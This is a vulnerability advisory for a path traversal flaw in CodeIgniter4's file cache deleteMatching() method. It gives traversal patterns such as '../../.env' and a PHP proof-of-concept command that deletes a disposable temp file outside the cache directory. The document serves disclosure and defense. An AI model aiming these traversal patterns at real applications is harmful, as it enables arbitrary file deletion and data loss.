
Cloud Vulnerability DB
A community-led vulnerabilities database
FileHandler::deleteMatching() does not restrict directory traversal in cache key patterns. When an application passes attacker-controlled input to this method, an attacker can delete files outside the cache directory.
The impact depends on the application's exposure and the PHP process's filesystem permissions. Possible consequences include application data loss and denial of service.
FileHandler::deleteMatching() concatenates the configured cache directory with $pattern and passes the result directly to glob(). Directory separators and .. segments in the pattern are resolved by glob(), so a pattern such as ../victim.txt matches a file outside the cache directory. Wildcards are also honored, e.g., ../*/* matches files in sibling directories such as writable/session/ and writable/uploads/, and ../../.env reaches the project root. The handler checks only that each match is a file. It does not verify that the file is inside the cache directory before deleting it.
Unlike the handler's individual key operations, deleteMatching() does not call validateKey(), so the default reserved characters (which include / and \) are not enforced for patterns.
The configured cache key prefix does not mitigate the issue because this implementation does not apply the prefix to the pattern.
The following steps reproduce the issue using a disposable file created under the framework's WRITEPATH. The command removes only that file during cleanup.
Clone the affected version and install its dependencies:
git clone --branch v4.7.5 --depth 1 \
https://github.com/codeigniter4/CodeIgniter4.git ci4-cache-poc
cd ci4-cache-poc
composer installCreate the file:
app/Commands/CacheTraversalProof.phpwith the following contents:
<?php
declare(strict_types=1);
namespace App\Commands;
use CodeIgniter\Cache\CacheFactory;
use CodeIgniter\CLI\BaseCommand;
use CodeIgniter\CLI\CLI;
use Config\Cache;
class CacheTraversalProof extends BaseCommand
{
protected $group = 'Security';
protected $name = 'security:ctp';
protected $description = 'Demonstrates file cache path traversal with a disposable file.';
public function run(array $params): int
{
$cacheDir = WRITEPATH . 'cache/';
$victim = tempnam(WRITEPATH, 'ci4-cache-poc-');
if ($victim === false) {
CLI::error('Could not create the proof-of-concept file.');
return EXIT_ERROR;
}
if (realpath(dirname($victim)) !== realpath(WRITEPATH)) {
unlink($victim);
CLI::error('The proof-of-concept file was not created under WRITEPATH.');
return EXIT_ERROR;
}
try {
$config = new Cache();
$config->handler = 'file';
$config->prefix = '';
$config->file['storePath'] = $cacheDir;
$cache = CacheFactory::getHandler($config, 'file');
CLI::write('Before: ' . (is_file($victim) ? 'exists' : 'missing'));
$deleted = $cache->deleteMatching('../' . basename($victim));
clearstatcache(true, $victim);
CLI::write('Deleted: ' . $deleted);
CLI::write('After: ' . (is_file($victim) ? 'exists' : 'missing'));
} finally {
if (file_exists($victim)) {
unlink($victim);
}
}
return EXIT_SUCCESS;
}
}Run the command from the repository root:
php spark security:ctpExpected output on the vulnerable version:
Before: exists
Deleted: 1
After: missingThe file is created directly under WRITEPATH, outside the configured cache directory WRITEPATH/cache/. Nevertheless, the pattern ../<filename> causes FileHandler::deleteMatching() to delete it.
This is a path traversal vulnerability leading to arbitrary file deletion, classified as CWE-22. Applications are affected when they:
deleteMatching(), directly or within a constructed pattern.
The File handler is the default cache handler. Exploitation requires an application code path that exposes control over the deletion pattern. Applications using fixed, trusted patterns, not controlled by the users, are not exposed to this attack.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."